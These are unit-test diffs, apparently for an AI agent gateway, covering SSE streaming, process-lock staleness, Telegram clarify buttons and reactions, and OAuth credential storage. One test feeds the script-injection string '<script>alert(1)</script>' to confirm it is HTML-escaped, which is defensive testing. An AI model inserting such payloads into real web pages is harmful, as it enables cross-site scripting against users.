patch("agent.insights.InsightsEngine", _InsightsEngineStub):
cli_obj._show_insights(command)
return _InsightsEngineStub.calls, db
def test_cli_insights_accepts_positional_days(capsys):
calls, db = _run_show_insights("/insights 7")
assert calls == [{"days": 7, "source": None}]
db.close.assert_called_once()
assert "days=7 source=None" in capsys.readouterr().out
def test_cli_insights_keeps_days_flag_and_source(capsys):
calls, db = _run_show_insights("/insights --days 14 --source discord")
assert calls == [{"days": 14, "source": "discord"}]
db.close.assert_called_once()
assert "days=14 source=discord" in capsys.readouterr().out
+3
View File
@@ -222,6 +222,9 @@ def make_runner(platform: Platform, session_entry: SessionEntry = None) -> "Gate
runner._capture_gateway_honcho_if_configured = lambda *a, **kw: None
runner._emit_gateway_run_progress = AsyncMock()
# Disable destructive slash confirm gate so /new executes immediately
runner._read_user_config = lambda: {"approvals": {"destructive_slash_confirm": False}}
runner.pairing_store = MagicMock()
runner.pairing_store._is_rate_limited = MagicMock(return_value=False)
runner.pairing_store.generate_code = MagicMock(return_value="ABC123")
+96 -1
View File
@@ -681,6 +681,56 @@ class TestChatCompletionsEndpoint:
assert "[DONE]" in body
assert "Hello!" in body
@pytest.mark.asyncio
async def test_stream_task_done_callback_enqueues_eos_for_chat_completions(self, adapter):
"""Regression guard for #24451: completion callback must signal SSE EOS."""
app = _create_app(adapter)
async with TestClient(TestServer(app)) as cli:
class _FakeTask:
def __init__(self):
self.callbacks = []
def add_done_callback(self, cb):
self.callbacks.append(cb)
fake_task = _FakeTask()
def _fake_ensure_future(coro):
# We short-circuit task scheduling in this unit test.
coro.close()
return fake_task
with (
patch.object(
adapter,
"_run_agent",
new=AsyncMock(
return_value=(
{"final_response": "ok", "messages": [], "api_calls": 1},
{"input_tokens": 1, "output_tokens": 1, "total_tokens": 2},
)
),
),
patch("gateway.platforms.api_server.asyncio.ensure_future", side_effect=_fake_ensure_future),
patch.object(adapter, "_write_sse_chat_completion", new_callable=AsyncMock) as mock_write_sse,
):
mock_write_sse.return_value = web.Response(status=200, text="ok")
resp = await cli.post(
"/v1/chat/completions",
json={
"model": "test",
"messages": [{"role": "user", "content": "hi"}],
"stream": True,
},
)
assert resp.status == 200
assert len(fake_task.callbacks) == 1
stream_q = mock_write_sse.call_args.args[4]
assert stream_q.empty()
fake_task.callbacks[0](fake_task)
assert stream_q.get_nowait() is None
@pytest.mark.asyncio
async def test_stream_sends_keepalive_during_quiet_tool_gap(self, adapter):
"""Idle SSE streams should send keepalive comments while tools run silently."""
@@ -1676,6 +1726,52 @@ class TestResponsesStreaming:
assert "Hello" in body
assert " world" in body
@pytest.mark.asyncio
async def test_stream_task_done_callback_enqueues_eos_for_responses(self, adapter):
"""Regression guard for #24451 on /v1/responses streaming path."""
app = _create_app(adapter)
async with TestClient(TestServer(app)) as cli:
class _FakeTask:
def __init__(self):
self.callbacks = []
def add_done_callback(self, cb):
self.callbacks.append(cb)
fake_task = _FakeTask()
def _fake_ensure_future(coro):
# We short-circuit task scheduling in this unit test.
coro.close()
return fake_task
with (
patch.object(
adapter,
"_run_agent",
new=AsyncMock(
return_value=(
{"final_response": "ok", "messages": [], "api_calls": 1},
{"input_tokens": 1, "output_tokens": 1, "total_tokens": 2},
)
),
),
patch("gateway.platforms.api_server.asyncio.ensure_future", side_effect=_fake_ensure_future),
patch.object(adapter, "_write_sse_responses", new_callable=AsyncMock) as mock_write_sse,
):
mock_write_sse.return_value = web.Response(status=200, text="ok")
resp = await cli.post(
"/v1/responses",
json={"model": "hermes-agent", "input": "hi", "stream": True},
)
assert resp.status == 200
assert len(fake_task.callbacks) == 1
stream_q = mock_write_sse.call_args.kwargs["stream_q"]
assert stream_q.empty()
fake_task.callbacks[0](fake_task)
assert stream_q.get_nowait() is None
@pytest.mark.asyncio
async def test_stream_emits_function_call_and_output_items(self, adapter):
app = _create_app(adapter)
@@ -3061,4 +3157,3 @@ class TestSessionKeyHeader:
assert resp.status == 200
data = await resp.json()
assert data["features"]["session_key_header"] == "X-Hermes-Session-Key"
+2 -2
View File
@@ -176,8 +176,8 @@ class TestStreamingConfig:
"fresh_final_after_seconds": "oops",
}
)
assert restored.edit_interval == 1.0
assert restored.buffer_threshold == 40
assert restored.edit_interval == 0.8
assert restored.buffer_threshold == 24
assert restored.fresh_final_after_seconds == 60.0
+130
View File
@@ -444,6 +444,93 @@ class TestScopedLocks:
assert acquired is False
assert existing["pid"] == 99999
def test_acquire_scoped_lock_replaces_pid_reused_by_unrelated_process(self, tmp_path, monkeypatch):
"""macOS regression: PID reused by an unrelated process with start_time=None.
On macOS /proc is unavailable, so both the lock record and the live
process report start_time=None. The live PID is alive (os.kill
succeeds) but belongs to a completely different program. The lock
must be treated as stale.
"""
monkeypatch.setenv("HERMES_GATEWAY_LOCK_DIR", str(tmp_path / "locks"))
lock_path = tmp_path / "locks" / "telegram-bot-token-2bb80d537b1da3e3.lock"
lock_path.parent.mkdir(parents=True, exist_ok=True)
lock_path.write_text(json.dumps({
"pid": 873,
"start_time": None,
"kind": "hermes-gateway",
"argv": ["/Users/user/.hermes/hermes-agent/hermes_cli/main.py", "gateway", "run", "--replace"],
}))
# Post-#21561 the liveness probe routes through
# ``gateway.status._pid_exists`` (psutil-first, safe on Windows),
# not ``os.kill``.
monkeypatch.setattr(status, "_pid_exists", lambda pid: True)
monkeypatch.setattr(status, "_get_process_start_time", lambda pid: None)
monkeypatch.setattr(status, "_looks_like_gateway_process", lambda pid: False)
# On macOS ``ps`` is available, so _read_process_cmdline returns the
# unrelated process's name. This confirms the PID was reused.
monkeypatch.setattr(status, "_read_process_cmdline", lambda pid: "/usr/libexec/bluetoothuserd")
acquired, existing = status.acquire_scoped_lock("telegram-bot-token", "secret", metadata={"platform": "telegram"})
assert acquired is True
payload = json.loads(lock_path.read_text())
assert payload["pid"] == os.getpid()
assert payload["metadata"]["platform"] == "telegram"
def test_acquire_scoped_lock_keeps_lock_when_cmdline_unreadable_but_record_is_gateway(self, tmp_path, monkeypatch):
"""Windows regression: ps unavailable so cmdline cannot be read.
When start_time is None on both sides and _looks_like_gateway_process
returns False because ps is missing (not because the PID belongs to an
unrelated process), the stale check must not delete a valid gateway
lock. Fall back to the lock record's own argv — written by the
gateway at startup before declaring the lock stale.
"""
monkeypatch.setenv("HERMES_GATEWAY_LOCK_DIR", str(tmp_path / "locks"))
lock_path = tmp_path / "locks" / "telegram-bot-token-2bb80d537b1da3e3.lock"
lock_path.parent.mkdir(parents=True, exist_ok=True)
lock_path.write_text(json.dumps({
"pid": 99999,
"start_time": None,
"kind": "hermes-gateway",
"argv": ["hermes_cli/main.py", "gateway", "run"],
}))
monkeypatch.setattr(status, "_pid_exists", lambda pid: True)
monkeypatch.setattr(status, "_get_process_start_time", lambda pid: None)
# Windows: ps not available, so _read_process_cmdline returns None
# and _looks_like_gateway_process returns False for every process.
monkeypatch.setattr(status, "_looks_like_gateway_process", lambda pid: False)
monkeypatch.setattr(status, "_read_process_cmdline", lambda pid: None)
acquired, existing = status.acquire_scoped_lock("telegram-bot-token", "secret", metadata={"platform": "telegram"})
assert acquired is False
assert existing["pid"] == 99999
def test_acquire_scoped_lock_keeps_lock_when_pid_reused_by_gateway(self, tmp_path, monkeypatch):
"""When start_time is None but the live PID still looks like a gateway, keep the lock."""
monkeypatch.setenv("HERMES_GATEWAY_LOCK_DIR", str(tmp_path / "locks"))
lock_path = tmp_path / "locks" / "telegram-bot-token-2bb80d537b1da3e3.lock"
lock_path.parent.mkdir(parents=True, exist_ok=True)
lock_path.write_text(json.dumps({
"pid": 99999,
"start_time": None,
"kind": "hermes-gateway",
"argv": ["/Users/user/.hermes/hermes-agent/hermes_cli/main.py", "gateway", "run", "--replace"],
}))
monkeypatch.setattr(status, "_pid_exists", lambda pid: True)
monkeypatch.setattr(status, "_get_process_start_time", lambda pid: None)
monkeypatch.setattr(status, "_looks_like_gateway_process", lambda pid: True)
acquired, existing = status.acquire_scoped_lock("telegram-bot-token", "secret", metadata={"platform": "telegram"})
assert acquired is False
assert existing["pid"] == 99999
def test_acquire_scoped_lock_replaces_stale_record(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_GATEWAY_LOCK_DIR", str(tmp_path / "locks"))
lock_path = tmp_path / "locks" / "telegram-bot-token-2bb80d537b1da3e3.lock"
@@ -811,3 +898,46 @@ class TestPlannedStopMarker:
ok = status.write_planned_stop_marker(target_pid=12345)
assert ok is False
class TestReadProcessCmdlinePsFallback:
"""Tests for _read_process_cmdline falling back to ps on non-Linux."""
def test_ps_fallback_when_proc_unavailable(self, monkeypatch):
monkeypatch.setattr(status.Path, "read_bytes", lambda self: (_ for _ in ()).throw(FileNotFoundError))
monkeypatch.setattr(
status.subprocess, "run",
lambda args, **kwargs: SimpleNamespace(returncode=0, stdout="/usr/libexec/bluetoothuserd\n"),
)
result = status._read_process_cmdline(873)
assert result == "/usr/libexec/bluetoothuserd"
def test_ps_fallback_returns_none_on_failure(self, monkeypatch):
monkeypatch.setattr(status.Path, "read_bytes", lambda self: (_ for _ in ()).throw(FileNotFoundError))
monkeypatch.setattr(
status.subprocess, "run",
lambda args, **kwargs: SimpleNamespace(returncode=1, stdout=""),
)
result = status._read_process_cmdline(99999)
assert result is None
def test_proc_cmdline_takes_priority_over_ps(self, monkeypatch):
calls = []
def fake_read_bytes(self):
calls.append("proc")
return b"python\x00hermes_cli/main.py\x00gateway\x00"
monkeypatch.setattr(status.Path, "read_bytes", fake_read_bytes)
result = status._read_process_cmdline(12345)
assert "hermes_cli/main.py" in result
assert calls == ["proc"]
def test_ps_fallback_used_when_proc_returns_empty(self, monkeypatch):
monkeypatch.setattr(status.Path, "read_bytes", lambda self: b"")
monkeypatch.setattr(
status.subprocess, "run",
lambda args, **kwargs: SimpleNamespace(returncode=0, stdout="python hermes_cli/main.py gateway run\n"),
)
result = status._read_process_cmdline(12345)
assert "hermes_cli/main.py" in result
@@ -0,0 +1,451 @@
"""Tests for Telegram inline keyboard clarify buttons.
Mirrors test_telegram_approval_buttons.py for the new ``send_clarify`` and
``cl:`` callback dispatch added in feat/clarify-gateway-buttons.
"""
import asyncio
import os
import sys
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
# ---------------------------------------------------------------------------
# Ensure the repo root is importable
# ---------------------------------------------------------------------------
_repo = str(Path(__file__).resolve().parents[2])
if _repo not in sys.path:
sys.path.insert(0, _repo)
# ---------------------------------------------------------------------------
# Minimal Telegram mock so TelegramAdapter can be imported (mirrors
# test_telegram_approval_buttons.py)
# ---------------------------------------------------------------------------
def _ensure_telegram_mock():
if "telegram" in sys.modules and hasattr(sys.modules["telegram"], "__file__"):
return
mod = MagicMock()
mod.ext.ContextTypes.DEFAULT_TYPE = type(None)
mod.constants.ParseMode.MARKDOWN = "Markdown"
mod.constants.ParseMode.MARKDOWN_V2 = "MarkdownV2"
mod.constants.ParseMode.HTML = "HTML"
mod.constants.ChatType.PRIVATE = "private"
mod.constants.ChatType.GROUP = "group"
mod.constants.ChatType.SUPERGROUP = "supergroup"
mod.constants.ChatType.CHANNEL = "channel"
mod.error.NetworkError = type("NetworkError", (OSError,), {})
mod.error.TimedOut = type("TimedOut", (OSError,), {})
mod.error.BadRequest = type("BadRequest", (Exception,), {})
for name in ("telegram", "telegram.ext", "telegram.constants", "telegram.request"):
sys.modules.setdefault(name, mod)
sys.modules.setdefault("telegram.error", mod.error)
_ensure_telegram_mock()
from gateway.platforms.telegram import TelegramAdapter
from gateway.config import Platform, PlatformConfig
def _make_adapter(extra=None):
config = PlatformConfig(enabled=True, token="test-token", extra=extra or {})
adapter = TelegramAdapter(config)
adapter._bot = AsyncMock()
adapter._app = MagicMock()
return adapter
def _clear_clarify_state():
from tools import clarify_gateway as cm
with cm._lock:
cm._entries.clear()
cm._session_index.clear()
cm._notify_cbs.clear()
# ===========================================================================
# send_clarify — render
# ===========================================================================
class TestTelegramSendClarify:
"""Verify the rendered prompt has buttons or none, and stores state."""
def setup_method(self):
_clear_clarify_state()
@pytest.mark.asyncio
async def test_multi_choice_renders_buttons_and_other(self):
adapter = _make_adapter()
mock_msg = MagicMock()
mock_msg.message_id = 100
adapter._bot.send_message = AsyncMock(return_value=mock_msg)
result = await adapter.send_clarify(
chat_id="12345",
question="Which option?",
choices=["alpha", "beta", "gamma"],
clarify_id="cid1",
session_key="sk1",
)
assert result.success is True
assert result.message_id == "100"
kwargs = adapter._bot.send_message.call_args[1]
assert kwargs["chat_id"] == 12345
assert "Which option?" in kwargs["text"]
# InlineKeyboardMarkup with N+1 buttons (3 choices + Other)
markup = kwargs["reply_markup"]
assert markup is not None
# Mocked InlineKeyboardMarkup — just verify it was constructed
# with rows. We check state instead of poking the mock structure.
assert "cid1" in adapter._clarify_state
assert adapter._clarify_state["cid1"] == "sk1"
@pytest.mark.asyncio
async def test_open_ended_no_keyboard(self):
adapter = _make_adapter()
mock_msg = MagicMock()
mock_msg.message_id = 101
adapter._bot.send_message = AsyncMock(return_value=mock_msg)
result = await adapter.send_clarify(
chat_id="12345",
question="What is your name?",
choices=None,
clarify_id="cid2",
session_key="sk2",
)
assert result.success is True
kwargs = adapter._bot.send_message.call_args[1]
# No reply_markup means no buttons — open-ended path
assert "reply_markup" not in kwargs
assert "What is your name?" in kwargs["text"]
assert adapter._clarify_state["cid2"] == "sk2"
@pytest.mark.asyncio
async def test_not_connected(self):
adapter = _make_adapter()
adapter._bot = None
result = await adapter.send_clarify(
chat_id="12345",
question="?",
choices=["a"],
clarify_id="cid3",
session_key="sk3",
)
assert result.success is False
@pytest.mark.asyncio
async def test_truncates_long_choice_label(self):
adapter = _make_adapter()
mock_msg = MagicMock()
mock_msg.message_id = 102
adapter._bot.send_message = AsyncMock(return_value=mock_msg)
long_choice = "x" * 200 # > 60 char cap
result = await adapter.send_clarify(
chat_id="12345",
question="?",
choices=[long_choice],
clarify_id="cid4",
session_key="sk4",
)
assert result.success is True
# The truncation logic replaces with "..." past 57 chars; we don't
# inspect the mock's button labels directly (auto-MagicMock), but
# we can verify the call didn't raise on absurdly long input.
@pytest.mark.asyncio
async def test_html_escapes_question(self):
adapter = _make_adapter()
mock_msg = MagicMock()
mock_msg.message_id = 103
adapter._bot.send_message = AsyncMock(return_value=mock_msg)
await adapter.send_clarify(
chat_id="12345",
question="<script>alert(1)</script>",
choices=["x"],
clarify_id="cid5",
session_key="sk5",
)
kwargs = adapter._bot.send_message.call_args[1]
# Must NOT contain raw <script> — html.escape should have neutralized
assert "<script>" not in kwargs["text"]
assert "&lt;script&gt;" in kwargs["text"]
# ===========================================================================
# Callback dispatch — _handle_callback_query routing for cl:* prefixes
# ===========================================================================
class TestTelegramClarifyCallback:
"""Verify clicking a button resolves the clarify primitive."""
def setup_method(self):
_clear_clarify_state()
@pytest.mark.asyncio
async def test_numeric_choice_resolves_with_choice_text(self):
from tools import clarify_gateway as cm
adapter = _make_adapter()
# Pre-register a clarify entry so the callback can look up the choice text
cm.register("cidA", "sk-cb", "Pick", ["red", "green", "blue"])
adapter._clarify_state["cidA"] = "sk-cb"
query = AsyncMock()
query.data = "cl:cidA:1" # green
query.message = MagicMock()
query.message.chat_id = 12345
query.message.text = "Pick"
query.from_user = MagicMock()
query.from_user.id = "777"
query.from_user.first_name = "Tester"
query.answer = AsyncMock()
query.edit_message_text = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
await adapter._handle_callback_query(update, context)
# State popped
assert "cidA" not in adapter._clarify_state
# Wait shouldn't be needed — resolve_gateway_clarify is sync.
# The entry's response should be set.
# We test by reading the entry's response directly.
with cm._lock:
entry = cm._entries.get("cidA")
# Entry might be popped by wait_for_response, but here we never
# called wait — so it's still in _entries with response set.
assert entry is not None
assert entry.response == "green"
assert entry.event.is_set()
query.answer.assert_called_once()
query.edit_message_text.assert_called_once()
@pytest.mark.asyncio
async def test_other_button_flips_to_text_mode(self):
from tools import clarify_gateway as cm
adapter = _make_adapter()
cm.register("cidB", "sk-cb-other", "Pick", ["x", "y"])
adapter._clarify_state["cidB"] = "sk-cb-other"
query = AsyncMock()
query.data = "cl:cidB:other"
query.message = MagicMock()
query.message.chat_id = 12345
query.message.text = "Pick"
query.from_user = MagicMock()
query.from_user.id = "777"
query.from_user.first_name = "Tester"
query.answer = AsyncMock()
query.edit_message_text = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
await adapter._handle_callback_query(update, context)
# Entry should now be in text-capture mode
pending = cm.get_pending_for_session("sk-cb-other")
assert pending is not None
assert pending.clarify_id == "cidB"
assert pending.awaiting_text is True
# State NOT popped — the user still needs to type their answer
assert "cidB" in adapter._clarify_state
# Entry NOT yet resolved
with cm._lock:
entry = cm._entries.get("cidB")
assert entry is not None
assert not entry.event.is_set()
@pytest.mark.asyncio
async def test_already_resolved(self):
adapter = _make_adapter()
# No state for cidGone
query = AsyncMock()
query.data = "cl:cidGone:0"
query.message = MagicMock()
query.message.chat_id = 12345
query.from_user = MagicMock()
query.from_user.id = "777"
query.from_user.first_name = "Tester"
query.answer = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
await adapter._handle_callback_query(update, context)
query.answer.assert_called_once()
# Should NOT resolve anything
assert "already" in query.answer.call_args[1]["text"].lower()
@pytest.mark.asyncio
async def test_unauthorized_user_rejected(self):
from tools import clarify_gateway as cm
adapter = _make_adapter()
cm.register("cidC", "sk-auth", "Pick", ["a", "b"])
adapter._clarify_state["cidC"] = "sk-auth"
# Hook up a runner that says NOT authorized
class _DenyRunner:
async def _handle_message(self, event):
return None
def _is_user_authorized(self, source):
return False
adapter._message_handler = _DenyRunner()._handle_message
query = AsyncMock()
query.data = "cl:cidC:0"
query.message = MagicMock()
query.message.chat_id = 12345
query.message.chat.type = "private"
query.message.text = "Pick"
query.from_user = MagicMock()
query.from_user.id = "999"
query.from_user.first_name = "Mallory"
query.answer = AsyncMock()
query.edit_message_text = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
await adapter._handle_callback_query(update, context)
# Must not resolve, must answer with not-authorized message
with cm._lock:
entry = cm._entries.get("cidC")
assert entry is not None
assert not entry.event.is_set()
query.answer.assert_called_once()
assert "not authorized" in query.answer.call_args[1]["text"].lower()
# State preserved
assert adapter._clarify_state["cidC"] == "sk-auth"
@pytest.mark.asyncio
async def test_invalid_choice_token(self):
from tools import clarify_gateway as cm
adapter = _make_adapter()
cm.register("cidD", "sk-inv", "Q?", ["a"])
adapter._clarify_state["cidD"] = "sk-inv"
query = AsyncMock()
query.data = "cl:cidD:not-a-number"
query.message = MagicMock()
query.message.chat_id = 12345
query.message.text = "Q?"
query.from_user = MagicMock()
query.from_user.id = "777"
query.from_user.first_name = "Tester"
query.answer = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
await adapter._handle_callback_query(update, context)
with cm._lock:
entry = cm._entries.get("cidD")
assert entry is not None
assert not entry.event.is_set()
query.answer.assert_called_once()
assert "invalid" in query.answer.call_args[1]["text"].lower()
# ===========================================================================
# Base adapter fallback render — text numbered list
# ===========================================================================
class TestBaseAdapterClarifyFallback:
"""Adapters without button overrides should render numbered text."""
@pytest.mark.asyncio
async def test_numbered_text_fallback(self):
from gateway.platforms.base import BasePlatformAdapter, SendResult
# Subclass just enough to instantiate
class _Stub(BasePlatformAdapter):
name = "stub"
def __init__(self):
# Skip base __init__ — we're not exercising it
self.sent: list = []
async def connect(self): pass
async def disconnect(self): pass
async def send(self, chat_id, content, **kw):
self.sent.append({"chat_id": chat_id, "content": content})
return SendResult(success=True, message_id="1")
async def edit(self, *a, **k): return SendResult(success=False)
async def get_history(self, *a, **k): return []
async def get_chat_info(self, *a, **k): return {}
adapter = _Stub()
result = await adapter.send_clarify(
chat_id="c",
question="Pick a fruit",
choices=["apple", "banana"],
clarify_id="x",
session_key="s",
)
assert result.success is True
assert len(adapter.sent) == 1
text = adapter.sent[0]["content"]
assert "Pick a fruit" in text
assert "1." in text and "apple" in text
assert "2." in text and "banana" in text
@pytest.mark.asyncio
async def test_open_ended_fallback_renders_question_only(self):
from gateway.platforms.base import BasePlatformAdapter, SendResult
class _Stub(BasePlatformAdapter):
name = "stub"
def __init__(self):
self.sent: list = []
async def connect(self): pass
async def disconnect(self): pass
async def send(self, chat_id, content, **kw):
self.sent.append(content)
return SendResult(success=True, message_id="1")
async def edit(self, *a, **k): return SendResult(success=False)
async def get_history(self, *a, **k): return []
async def get_chat_info(self, *a, **k): return {}
adapter = _Stub()
await adapter.send_clarify(
chat_id="c",
question="Free form?",
choices=None,
clarify_id="x",
session_key="s",
)
assert "Free form?" in adapter.sent[0]
# No numbered list — choices were empty
assert "1." not in adapter.sent[0]
+47 -2
View File
@@ -218,17 +218,62 @@ async def test_on_processing_complete_skipped_when_disabled(monkeypatch):
@pytest.mark.asyncio
async def test_on_processing_complete_cancelled_keeps_existing_reaction(monkeypatch):
"""Expected cancellation should not replace the in-progress reaction."""
async def test_on_processing_complete_cancelled_clears_reaction(monkeypatch):
"""Cancelled processing should clear the in-progress reaction.
Without this clear, the 👀 reaction lingers on the user's message
indefinitely (until another agent run swaps it for 👍/👎). On a
``/stop`` that ends a session, that reaction never gets cleaned up.
"""
monkeypatch.setenv("TELEGRAM_REACTIONS", "true")
adapter = _make_adapter()
event = _make_event()
await adapter.on_processing_complete(event, ProcessingOutcome.CANCELLED)
# set_message_reaction with reaction=None clears all reactions on the
# message (Bot API documented semantics; equivalent to Bot API 10.0's
# deleteMessageReaction but works on PTB 22.6 already).
adapter._bot.set_message_reaction.assert_awaited_once_with(
chat_id=123,
message_id=456,
reaction=None,
)
@pytest.mark.asyncio
async def test_on_processing_complete_cancelled_skipped_when_disabled(monkeypatch):
"""Cancelled processing should not call the API when reactions are off."""
monkeypatch.delenv("TELEGRAM_REACTIONS", raising=False)
adapter = _make_adapter()
event = _make_event()
await adapter.on_processing_complete(event, ProcessingOutcome.CANCELLED)
adapter._bot.set_message_reaction.assert_not_awaited()
@pytest.mark.asyncio
async def test_clear_reactions_handles_api_error_gracefully(monkeypatch):
"""API errors during clear should not propagate."""
monkeypatch.setenv("TELEGRAM_REACTIONS", "true")
adapter = _make_adapter()
adapter._bot.set_message_reaction = AsyncMock(side_effect=RuntimeError("no perms"))
result = await adapter._clear_reactions("123", "456")
assert result is False
@pytest.mark.asyncio
async def test_clear_reactions_returns_false_without_bot(monkeypatch):
"""_clear_reactions should return False when bot is not available."""
adapter = _make_adapter()
adapter._bot = None
result = await adapter._clear_reactions("123", "456")
assert result is False
# ── config.py bridging ───────────────────────────────────────────────
+14 -4
View File
@@ -8,7 +8,7 @@ only renders as a voice bubble when explicitly flagged) and via
"""
from types import SimpleNamespace
from unittest.mock import AsyncMock
from unittest.mock import AsyncMock, MagicMock
import pytest
@@ -106,6 +106,16 @@ async def test_base_adapter_routes_voice_tagged_telegram_ogg_media_tag_to_voice_
adapter.send_document.assert_not_awaited()
def _fake_runner(thread_meta):
"""Build a fake GatewayRunner-like object with the helper methods needed by
_deliver_media_from_response."""
runner = SimpleNamespace(
_thread_metadata_for_source=lambda source, anchor=None: thread_meta,
_reply_anchor_for_event=lambda event: None,
)
return runner
@pytest.mark.asyncio
async def test_streaming_delivery_routes_telegram_flac_media_tag_to_document_sender():
event = _event(thread_id="topic-1")
@@ -121,7 +131,7 @@ async def test_streaming_delivery_routes_telegram_flac_media_tag_to_document_sen
)
await GatewayRunner._deliver_media_from_response(
object(),
_fake_runner({"thread_id": "topic-1"}),
"MEDIA:/tmp/speech.flac",
event,
adapter,
@@ -150,7 +160,7 @@ async def test_streaming_delivery_routes_non_voice_telegram_ogg_media_tag_to_doc
)
await GatewayRunner._deliver_media_from_response(
object(),
_fake_runner({"thread_id": "topic-1"}),
"MEDIA:/tmp/speech.ogg",
event,
adapter,
@@ -181,7 +191,7 @@ async def test_streaming_delivery_routes_telegram_mp3_media_tag_to_voice_sender(
)
await GatewayRunner._deliver_media_from_response(
object(),
_fake_runner({"thread_id": "topic-1"}),
"MEDIA:/tmp/speech.mp3",
event,
adapter,
+3
View File
@@ -45,6 +45,9 @@ def _make_runner(hermes_home=None):
runner._pending_messages = {}
runner._pending_approvals = {}
runner._failed_platforms = {}
# config is accessed by _check_slash_access and quick_commands lookup;
# None makes policy_for_source return a disabled (allow-all) policy.
runner.config = None
# Bypass the destructive-slash confirm gate — this test exercises
# update-prompt interception, not the confirm prompt.
runner._read_user_config = lambda: {
+7 -7
View File
@@ -129,7 +129,7 @@ class TestVerboseCommand:
@pytest.mark.asyncio
async def test_defaults_to_all_when_no_tool_progress_set(self, tmp_path, monkeypatch):
"""When tool_progress is not in config, defaults to 'all' then cycles to verbose."""
"""When tool_progress is not in config, defaults to platform default then cycles."""
hermes_home = tmp_path / "hermes"
hermes_home.mkdir()
config_path = hermes_home / "config.yaml"
@@ -143,17 +143,17 @@ class TestVerboseCommand:
runner = _make_runner()
result = await runner._handle_verbose_command(_make_event())
# Telegram default is "all" (high tier) → cycles to verbose
assert "VERBOSE" in result
# Telegram platform default is "new" → cycles to "all"
assert "ALL" in result
saved = yaml.safe_load(config_path.read_text(encoding="utf-8"))
assert saved["display"]["platforms"]["telegram"]["tool_progress"] == "verbose"
assert saved["display"]["platforms"]["telegram"]["tool_progress"] == "all"
@pytest.mark.asyncio
async def test_per_platform_isolation(self, tmp_path, monkeypatch):
"""Cycling /verbose on Telegram doesn't change Slack's setting.
Without a global tool_progress, each platform uses its built-in
default: Telegram = 'all' (high tier), Slack = 'off' (quiet Slack default).
default: Telegram = 'new' (overridden high tier), Slack = 'off' (quiet Slack default).
"""
hermes_home = tmp_path / "hermes"
hermes_home.mkdir()
@@ -178,8 +178,8 @@ class TestVerboseCommand:
saved = yaml.safe_load(config_path.read_text(encoding="utf-8"))
platforms = saved["display"]["platforms"]
# Telegram: all -> verbose (high tier default = all)
assert platforms["telegram"]["tool_progress"] == "verbose"
# Telegram: new -> all (platform default = new)
assert platforms["telegram"]["tool_progress"] == "all"
# Slack: off -> new (first /verbose cycle from quiet default)
assert platforms["slack"]["tool_progress"] == "new"
+44
View File
@@ -170,6 +170,50 @@ def test_auth_add_nous_oauth_persists_pool_entry(tmp_path, monkeypatch):
assert singleton["inference_base_url"] == "https://inference.example.com/v1"
def test_auth_add_minimax_oauth_starts_login_and_persists_pool_entry(tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
_write_auth_store(tmp_path, {"version": 1, "providers": {}})
token = _jwt_with_email("minimax@example.com")
monkeypatch.setattr(
"hermes_cli.auth._minimax_oauth_login",
lambda **kwargs: {
"provider": "minimax-oauth",
"region": "global",
"portal_base_url": "https://api.minimax.io",
"inference_base_url": "https://api.minimax.io/anthropic",
"client_id": "client-id",
"scope": "group_id profile model.completion",
"token_type": "Bearer",
"access_token": token,
"refresh_token": "refresh-token",
"resource_url": None,
"obtained_at": "2026-05-11T10:00:00+00:00",
"expires_at": "2026-05-14T10:00:00+00:00",
"expires_in": 259200,
},
)
from hermes_cli.auth_commands import auth_add_command
class _Args:
provider = "minimax-oauth"
auth_type = "oauth"
api_key = None
label = None
no_browser = True
timeout = None
auth_add_command(_Args())
payload = json.loads((tmp_path / "hermes" / "auth.json").read_text())
entries = payload["credential_pool"]["minimax-oauth"]
entry = next(item for item in entries if item["source"] == "manual:minimax_oauth")
assert entry["label"] == "minimax@example.com"
assert entry["access_token"] == token
assert entry["refresh_token"] == "refresh-token"
assert entry["base_url"] == "https://api.minimax.io/anthropic"
def test_auth_add_nous_oauth_honors_custom_label(tmp_path, monkeypatch):
"""`hermes auth add nous --type oauth --label <name>` must preserve the
custom label end-to-end it was silently dropped in the first cut of the
+7 -5
View File
@@ -242,12 +242,14 @@ class TestTelegramBotCommands:
tg_name = cmd.name.replace("-", "_")
assert tg_name not in names
def test_excludes_commands_with_required_args(self):
def test_includes_builtin_commands_with_required_args(self):
"""Built-in arg-taking commands (e.g. /queue, /steer, /background)
are now included because their handlers return usage text when
invoked without arguments issue #24312."""
names = {name for name, _ in telegram_bot_commands()}
assert "background" not in names
assert "queue" not in names
assert "steer" not in names
assert "background" in GATEWAY_KNOWN_COMMANDS
assert "background" in names
assert "queue" in names
assert "steer" in names
class TestSlackSubcommandMap:
@@ -2,10 +2,11 @@
from pathlib import Path
def test_profiles_nav_label_uses_short_multi_agents_copy():
def test_profiles_nav_label_uses_short_copy():
en_i18n = Path(__file__).resolve().parents[2] / "web" / "src" / "i18n" / "en.ts"
content = en_i18n.read_text(encoding="utf-8")
assert 'profiles: "profiles : multi agents"' in content
assert "Profiles: Running Multiple Agents" not in content
# Nav label should be the clean short form, not the old verbose string
assert 'profiles: "Profiles"' in content
assert "profiles : multi agents" not in content
@@ -0,0 +1,61 @@
"""Host-specific gating in ``hermes_cli.gateway._all_platforms()``.
Some messaging platforms can't function on every host. The gate lives
in one place ``_all_platforms()`` so the setup wizard, the curses
gateway-config menu, and any future picker all see the same filtered
list.
Currently:
- Matrix is hidden on Windows. The ``[matrix]`` extra pulls
``mautrix[encryption]`` -> ``python-olm``, which has no Windows wheel
and needs ``make`` + libolm to build from sdist. There's no native
Windows path that works.
"""
import sys
class TestMatrixHiddenOnWindows:
def test_matrix_present_on_linux(self, monkeypatch):
"""Sanity: matrix is still in the picker on Linux/macOS."""
import hermes_cli.gateway as gateway_mod
monkeypatch.setattr(gateway_mod.sys, "platform", "linux")
